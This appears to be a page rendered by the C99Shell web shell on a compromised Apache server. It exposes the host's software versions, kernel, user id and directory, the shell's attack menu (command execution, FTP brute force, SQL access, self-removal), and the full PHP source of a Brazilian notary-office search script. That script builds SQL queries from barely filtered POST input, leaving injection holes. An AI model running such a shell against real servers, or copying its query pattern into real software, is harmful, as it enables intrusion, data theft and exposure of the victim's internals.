!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxr-xr-x
Free 9.41 GB of 93.48 GB (10.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     busca_oficios_ajax.php (7.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    header
('Content-Type: text/html; charset=iso-8859-1');
    
//Quando eh consultado por oficial, está trazendo todos os distritos daquela comarca envolvida!    
    
include("config/config.php");
    include(
"includes/conexaoBD.php");
    
    
//caso seja consulta via formulário, traz a treeview aberta, caso seja do mapa, fechada
    
$tipo_acao  = (!isset($_POST["ehformulario"]) || $_POST["ehformulario"] != 1)?'closed':'tree_view';
    
//retorno da regiao via js
    
$regiao     $_POST['regiao'];
    
//cidade digitada no form
    
$cidade     urldecode(trim(str_replace(array("\"",";","'"),"",$_POST['cidade'])));
    
//oficial digitado no form
    
$oficial     urldecode(trim(str_replace(array("\"",";","'"),"",$_POST['oficial'])));
    
    if (((
$regiao[0] == 'R') and (is_numeric(substr($regiao,1)))) or ($cidade != "") or ($oficial != "")) 
    {
        if ((
$cidade != "") or ($oficial != "")) //Para não limitar apenas a região selecionada
            
$regiao '0';
        
$where "";
        
        if (
$regiao <> "0")
            
$where " AND irp_regioes.REG_RowID = '$regiao'";
        if (
$cidade <> "")
            
$where .= " AND (cidades.CID_Descricao LIKE '%$cidade%' OR distritos.CID_Descricao LIKE '%$cidade%')";
        if (
$oficial <> "")
            
$where .= " AND (contatos.CON_Descricao LIKE '%$oficial%')";
        
        
/** SELECT irp_regioes.*, cidades.CID_Descricao AS Cidade, distritos.CID_Descricao AS Distrito, oficios.*, contatos.CON_Descricao AS Tabeliao */
        
        
$corpo_sql "FROM irp_regioes, cidades, cidades distritos, oficios, contatos
                     WHERE irp_regioes.REG_RowID = cidades.CID_Regiao_DR 
                       AND distritos.CID_Cidades_DR <> 0 AND distritos.CID_Cidades_DR = cidades.CID_RowID 
                       AND (oficios.OFI_Cidades_DR IN (cidades.CID_RowID, distritos.CID_RowID)) 
                       AND oficios.OFI_RowID = contatos.CON_Oficios_DR 
                       AND oficios.OFI_AtivoSN = 'S' 
                       AND contatos.CON_AtivoSN = 'S' 
                       AND contatos.CON_Descricao <> 'DESATIVADO' 
                       
$where";

        
$res_regiao mysqli_query($conexao,utf8_decode("SELECT DISTINCT irp_regioes.* $corpo_sql"));
        
        
$encontrei 0;
        echo 
'<ul class="tree_view">';//f
        
while ($dados_regiao mysqli_fetch_assoc($res_regiao)) 
        {    
            
$dados_regiao['REG_Nome'] = strtoupper(($dados_regiao['REG_Nome']));
            
            echo 
"<li>";//e
            
echo "<span>$dados_regiao[REG_Nome] ($dados_regiao[REG_RowID])</span>";
            
            
$res_comarcas mysqli_query($conexao,utf8_decode("SELECT DISTINCT cidades.* $corpo_sql AND cidades.CID_ComarcaMunicipioDistritoCMD = 'C' AND irp_regioes.REG_RowID = '$dados_regiao[REG_RowID]'"));
            
            echo 
"<ul>";//d
            
while ($cid_comarca mysqli_fetch_assoc($res_comarcas)) 
            {
                
$encontrei 1;
                
$cid_comarca['CID_Descricao'] = ($cid_comarca['CID_Descricao']);
                
                echo 
"<li class='".$tipo_acao."'>";
                echo 
"<span style='font-weight:bold;'>&nbsp;$cid_comarca[CID_Descricao]</span><br class='clear' />";
                
//Verifica se possui distritos
                
                
$res_distritos mysqli_query($conexao,utf8_decode("SELECT DISTINCT distritos.* $corpo_sql AND distritos.CID_Cidades_DR <> 0 AND distritos.CID_Cidades_DR = $cid_comarca[CID_RowID]"));
                if (
mysqli_num_rows($res_distritos) > 0
                {
                    echo 
"<ul>";//b
                    
while ($cid_distrito mysqli_fetch_assoc($res_distritos)) {
                        
$cid_distrito['CID_Descricao'] = ($cid_distrito['CID_Descricao']);
                        
                        echo 
"<li class='".$tipo_acao."'>";
                        echo 
"<span style='font-weight:bold;'>$cid_distrito[CID_Descricao]</span>";
                        
mostra_oficios($cid_distrito['CID_RowID'],$oficial);
                        echo 
"</li>";//a
                    
}
                    echo 
"</ul>";//b
                
}
                else
                    
mostra_oficios($cid_comarca['CID_RowID'],$oficial);
                echo 
"</li>";//c
            
}
            echo 
"</ul>";//d
            
            
echo "</li>";//e
        
}
        
        
// A CIDADE NAO EXISTE
        
if ($encontrei == 0)
        {
            echo 
" <center> <font color='red'> Não foi encontrado nenhum cartório correspondente a localidade desejada </font></center> <br>";
        }
        
        echo 
"</ul>";//f
        
        
echo "<input type='text' id='focar' size='1' style='border:0px; background:#FFFFFF;' readonly='readonly' value='' />";
    }else{
        die(
"");//Região não está no formato padrão R??
        
    
}
    
    function 
qtd_oficios($cod_cidade,$oficial) {
        global 
$conexao;
        
        if (
$oficial != "")
            
$where_oficio "AND CON_Descricao LIKE '%$oficial%'";
        
        
$sql_oficios "SELECT COUNT(*) as num FROM oficios "
                     
"INNER JOIN cidades ON OFI_Cidades_DR = CID_RowID "
                     
"INNER JOIN contatos ON OFI_RowID = CON_Oficios_DR "
                     
"WHERE OFI_AtivoSN = 'S' AND CON_AtivoSN = 'S' "
                     
"AND OFI_Cidades_DR = CID_RowID AND "
                     
"OFI_Cidades_DR = $cod_cidade AND "
                     
"contatos.CON_Descricao <> 'DESATIVADO' AND "
                     
"contatos.CON_Tabeliao = 'S' "
                     
$where_oficio
                     
" ORDER BY OFI_Descricao";
        return 
mysqli_num_rows(mysqli_query($conexao,$sql_oficios));
    }
    
    function 
mostra_oficios($cod_cidade,$oficial) {
        global 
$conexao;
        
        if (
$oficial != "")
            
$where_oficio "AND CON_Descricao LIKE '%$oficial%'";
        
        
$sql_oficios "SELECT * FROM oficios "
                     
"INNER JOIN cidades ON OFI_Cidades_DR = CID_RowID "
                     
"INNER JOIN contatos ON OFI_RowID = CON_Oficios_DR "
                     
"WHERE OFI_AtivoSN = 'S' AND CON_AtivoSN = 'S' "
                     
"AND OFI_Cidades_DR = CID_RowID "
                     
"AND OFI_Cidades_DR = $cod_cidade "
                     
"AND contatos.CON_Descricao <> 'DESATIVADO' "
                     
"AND contatos.CON_Tabeliao = 'S' "
                     
$where_oficio
                     
" ORDER BY OFI_Descricao";
        
        
//echo "<br />Ofi=$sql_oficios<br />";
        
        
$res_oficios mysqli_query($conexao,utf8_decode($sql_oficios));
        echo 
'<ul>';
        while (
$oficios mysqli_fetch_assoc($res_oficios)) {
            echo 
"<li class='".$tipo_acao."'>";
            echo 
"<span>".($oficios['OFI_Descricao'])."</span>";
            echo 
"<ul><li class='".$tipo_acao."'><blockquote>";
            echo 
"<table class='tabela_dados_oficio' width='85%' border='0' cellspacing='0' cellpadding='0'>";
            if (
$oficios['OFI_Descricao']!="")
                echo 
"<tr>"
                        
."<td width='17%' align='right'><strong>Cartório:&nbsp;</strong></td>"
                        
."<td width='83%' align='left'>".($oficios['OFI_Descricao'])."</td>"
                    
."</tr>";
            if (
$oficios['CON_Descricao'] != "")
                echo 
"<tr>"
                        
."<td align='right'><strong>Registrador:&nbsp;</strong></td>"
                        
."<td align='left'>".($oficios['CON_Descricao'])."</td>"
                    
."</tr>";
            if (
$oficios['OFI_Endereco'] != "")
                echo 
"<tr>"
                        
."<td align='right'><strong>Endere&ccedil;o:&nbsp;</strong></td>"
                        
."<td align='left'>".($oficios['OFI_Endereco'])."</td>"
                    
."</tr>";
            if (
$oficios['OFI_Bairro'] != "")
                echo 
"<tr>"
                        
."<td align='right'><strong>Bairro:&nbsp;</strong></td>"
                        
."<td align='left'>".($oficios['OFI_Bairro'])."</td>"
                    
."</tr>";
            if (
$oficios['CID_Descricao'] != "")
                echo 
"<tr>"
                        
."<td align='right'><strong>Cidade/UF:&nbsp;</strong></td>"
                        
."<td align='left'>".($oficios['CID_Descricao'] . " - " $oficios['OFI_Estado'])."</td>"
                    
."</tr>";
            if (
$oficios['OFI_Cep'] != "")
                echo 
"<tr>"
                        
."<td align='right'><strong>Cep:&nbsp;</strong></td>"
                        
."<td align='left'>".($oficios['OFI_Cep'])."</td>"
                    
."</tr>";
            if (
$oficios['OFI_Fone'] != "")
                echo 
"<tr>"
                        
."<td align='right'><strong>Telefone:&nbsp;</strong></td>"
                        
."<td align='left'>".("(".$oficios['OFI_DDD'] .") " $oficios['OFI_Fone'])."</td>"
                    
."</tr>";
            echo 
"</table>";
            echo 
"</blockquote></li></ul>";
            echo 
"</li>";
        }
        
        echo 
"</ul>";
    }
    
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0037 ]--